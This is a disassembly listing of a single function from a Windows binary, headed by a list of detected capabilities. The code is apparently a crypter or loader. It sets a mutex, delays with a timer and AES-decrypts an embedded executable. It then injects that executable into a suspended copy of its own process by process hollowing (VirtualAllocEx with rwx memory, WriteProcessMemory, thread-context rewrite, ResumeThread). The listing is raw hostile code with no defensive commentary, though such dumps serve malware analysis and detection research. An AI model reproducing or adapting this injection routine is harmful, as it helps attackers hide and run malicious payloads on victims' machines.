Function at 0x140001a00
Capabilities:
Allocate or change rwx memory
Check mutex and terminate process on windows
Check mutex on windows
Create new key via cryptacquirecontext
Create process on windows
Create process suspended
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
push rbx
push r14
push r15
lea rbp, [rsp - 0xb08]
sub rsp, 0xc08
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xaf0], rax
mov r15d, 1
lea r8, str.MainMutexHsudhsduh
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000240a
xorps xmm0, xmm0
mov qword [rbp + 0x950], 0xffffffffee1e5d00
xor r14d, r14d
xor r8d, r8d
mov edx, r15d
mov qword [rbp + 0x938], r14
xor ecx, ecx
mov qword [rbp + 0x940], r14
movdqu xmmword [rbp + 0x928], xmm0
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
mov dword [rsp + 0x28], r14d
lea rdx, [rbp + 0x950]
mov rcx, rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetWaitableTimer]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x50]
mov byte [rsp + 0x50], r15b
lea rcx, [rbp + 0x928]
call fcn.140002420
mov r9, qword [rbp + 0x940]
mov r8d, r14d
test r9, r9
je 0x140001b17
mov r10, qword [rbp + 0x928]
nop dword [rax + rax]
mov rax, r8
shr rax, 5
lea rdx, [r10 + rax*4]
movzx eax, r8b
and al, 0x1f
movzx ecx, al
mov eax, dword [rdx]
bt eax, ecx
jae 0x14000240a
inc r8
cmp r8, r9
jb 0x140001af0
mov r8d, 0x104
mov qword [rsp + 0xc38], rdi
lea rdx, [rbp + 0x9e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0x9e0]
mov dword [rbp + 0x960], 0x501610
mov r9d, 0x18
mov qword [0x140520340], rax
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rbp + 0x968]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea rdi, [0x14001da40]
test eax, eax
je 0x140001c3d
mov rcx, qword [rbp + 0x968]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001c3d
mov rcx, qword [rsp + 0x70]
lea rdx, [0x14051f050]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001c3d
mov r8, qword [rsp + 0x70]
lea rax, [rbp + 0x950]
mov rcx, qword [rbp + 0x968]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001c3d
mov rcx, qword [rbp + 0x950]
lea rax, [rbp + 0x960]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001c3d
mov rcx, qword [rbp + 0x968]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp + 0x950]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov qword [rsp + 0xc30], rsi
mov qword [rsp + 0xc40], r12
mov qword [rsp + 0xc00], r13
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x501610
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140001d77
mov r8d, 0x501610
mov rdx, rdi
mov rcx, rax
call fcn.140010a60
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
jne 0x1400023ae
mov rcx, qword [0x140520340]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp + 0x970], 0x68
mov dword [rbp + 0x9d4], eax
xor r9d, r9d
mov qword [rsp + 0x68], rax
xor r8d, r8d
lea rax, [rsp + 0x58]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x970]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
movups xmmword [rbp + 0x974], xmm0
movups xmmword [rbp + 0x984], xmm0
movups xmmword [rbp + 0x994], xmm0
movups xmmword [rbp + 0x9a4], xmm0
movups xmmword [rbp + 0x9b4], xmm0
movups xmmword [rbp + 0x9c4], xmm0
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001dfd
cmp rbx, 0xffffffffffffffff
je 0x140001d47
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140001d57
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140001d77
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x928]
test rcx, rcx
je 0x140001dbb
mov rdx, qword [rbp + 0x938]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffffc
cmp rdx, 0x1000
jb 0x140001db6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002413
call fcn.140002af4
mov eax, 0xffffffff
mov r12, qword [rsp + 0xc40]
mov rsi, qword [rsp + 0xc30]
mov r13, qword [rsp + 0xc00]
mov rdi, qword [rsp + 0xc38]
mov rcx, qword [rbp + 0xaf0]
xor rcx, rsp
call fcn.140002a90
add rsp, 0xc08
pop r15
pop r14
pop rbx
pop rbp
ret
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp + 0x920]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
cmp dword [rbp + 0x920], r14d
je 0x140001eb9
mov r8d, 0x2c8
mov qword [rbp + 0x950], r14
lea rcx, [rbp - 0x7c]
call fcn.1400106a0
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x24]
lea r8, [rbp + 0x950]
mov rcx, qword [rsp + 0x58]
add edx, 8
mov r9d, 4
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140001e88
xorps xmm0, xmm0
xorps xmm1, xmm1
psrldq xmm0, 8
movq rax, xmm1
movq rcx, xmm0
jmp 0x140001ea2
mov eax, dword [rbp + 0x24]
mov rcx, qword [rbp + 0x950]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
movdqa xmm1, xmmword [rsp + 0x70]
test rcx, rcx
je 0x140001d2d
test rax, rax
jne 0x140001f61
jmp 0x140001d2d
mov r8d, 0x4d0
mov qword [rsp + 0x70], r14
lea rcx, [rbp + 0x450]
call fcn.1400106a0
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0x450]
mov dword [rbp + 0x480], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x4d8]
lea r8, [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140001f2d
xorps xmm0, xmm0
xorps xmm1, xmm1
psrldq xmm0, 8
movq rax, xmm1
movq rcx, xmm0
jmp 0x140001f4f
mov rax, qword [rbp + 0x4d8]
mov rcx, qword [rsp + 0x70]
mov qword [rbp + 0x950], rax
mov qword [rbp + 0x958], rcx
movdqa xmm1, xmmword [rbp + 0x950]
test rcx, rcx
je 0x140001d2d
test rax, rax
je 0x140001d2d
movsxd rcx, dword [rbx + 0x3c]
mov eax, 0x10b
cmp word [rcx + rbx + 0x18], ax
mov eax, dword [rbp + 0x920]
jne 0x140001f83
mov r13d, r15d
test eax, eax
jne 0x140001f8e
jmp 0x140001d77
mov r13d, r14d
test eax, eax
jne 0x140001d77
movzx edi, word [rcx + rbx + 0x5c]
mov rcx, qword [rsp + 0x58]
psrldq xmm1, 8
movq rdx, xmm1
test eax, eax
je 0x140001fad
call fcn.1400011a0
jmp 0x140001fb2
call fcn.1400012e0
cmp eax, 0xffffffff
je 0x140001d2d
cmp edi, eax
jne 0x140001d2d
movsxd rcx, dword [rbx + 0x3c]
test r13d, r13d
je 0x14000212f
mov eax, r14d
cmp dword [rcx + rbx + 0xa0], eax
setne al
test eax, eax
jne 0x14000211d
mov r8d, dword [rbx + rcx + 0x50]
lea rdi, [rbx + rcx]
mov edx, dword [rdi + 0x34]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x140002321
mov r9d, dword [rdi + 0x54]
mov r8, rbx
mov rcx, qword [rsp + 0x58]
mov rdx, rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002321
mov esi, r14d
cmp r14w, word [rdi + 6]
jae 0x140002095
xor r13d, r13d
nop word [rax + rax]
movzx eax, word [rdi + 0x14]
mov rcx, qword [rsp + 0x58]
add rax, rdi
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + r14 + 0x2c]
mov edx, dword [rax + r14 + 0x24]
add r8, rbx
mov r9d, dword [rax + r14 + 0x28]
add rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002321
movzx eax, word [rdi + 6]
inc esi
add r14, 0x28
cmp esi, eax
jl 0x140002050
xor r14d, r14d
xor edx, edx
lea rcx, [rbp - 0x7c]
mov r8d, 0x2c8
call fcn.1400106a0
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140002321
mov edx, dword [rbp + 0x24]
lea r8, [rdi + 0x34]
mov rcx, qword [rsp + 0x58]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002321
mov ecx, dword [rdi + 0x28]
lea rdx, [rbp - 0x80]
add ecx, r15d
mov dword [rbp + 0x30], ecx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x140002321
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x14000229c
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.140001710
jmp 0x140002294
cmp dword [rcx + rbx + 0xb0], r14d
jne 0x14000213c
mov r15d, r14d
test r15d, r15d
jne 0x140002287
mov r8d, dword [rbx + rcx + 0x50]
lea rdi, [rbx + rcx]
mov rdx, qword [rdi + 0x30]
lea r14, [rdi + 0x30]
mov rcx, qword [rsp + 0x58]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x140002321
mov r9d, dword [rdi + 0x54]
mov r8, rbx
mov rcx, qword [rsp + 0x58]
mov rdx, rax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002321
xor ecx, ecx
mov esi, ecx
cmp cx, word [rdi + 6]
jae 0x1400021fb
mov r14d, ecx
nop
movzx eax, word [rdi + 0x14]
add rax, rdi
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
mov r8d, dword [rax + r14 + 0x2c]
mov edx, dword [rax + r14 + 0x24]
add r8, rbx
mov r9d, dword [rax + r14 + 0x28]
add rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002275
movzx eax, word [rdi + 6]
inc esi
add r14, 0x28
mov ecx, 0
cmp esi, eax
jl 0x1400021b0
lea r14, [rdi + 0x30]
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x4d0
call fcn.1400106a0
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x50], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140002275
mov rdx, qword [rbp + 8]
xor eax, eax
mov rcx, qword [rsp + 0x58]
add rdx, 0x10
mov r8, r14
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002275
mov eax, dword [rdi + 0x28]
lea rdx, [rbp - 0x80]
mov rcx, qword [rsp + 0x60]
add rax, r12
mov qword [rbp], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140002275
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x14000229c
test r13d, r13d
jne 0x140002321
test r15d, r15d
je 0x140002321
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.140001430
test eax, eax
je 0x140002321
cmp rbx, 0xffffffffffffffff
je 0x1400022b6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400022c6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1400022d6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x928]
test rcx, rcx
je 0x14000231a
mov rdx, qword [rbp + 0x938]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffffc
cmp rdx, 0x1000
jb 0x140002315
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002413
call fcn.140002af4
xor eax, eax
jmp 0x140001dc0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140002345
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140002365
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x928]
test rcx, rcx
je 0x140001dc0
mov rdx, qword [rbp + 0x938]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffffc
cmp rdx, 0x1000
jb 0x1400023a4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002413
call fcn.140002af4
jmp 0x140001dc0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x928]
test rcx, rcx
je 0x140001dbb
mov rdx, qword [rbp + 0x938]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffffc
cmp rdx, 0x1000
jb 0x140001db6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002413
jmp 0x140001db6
mov ecx, r15d
call fcn.140007208
int3
call fcn.140007620
int3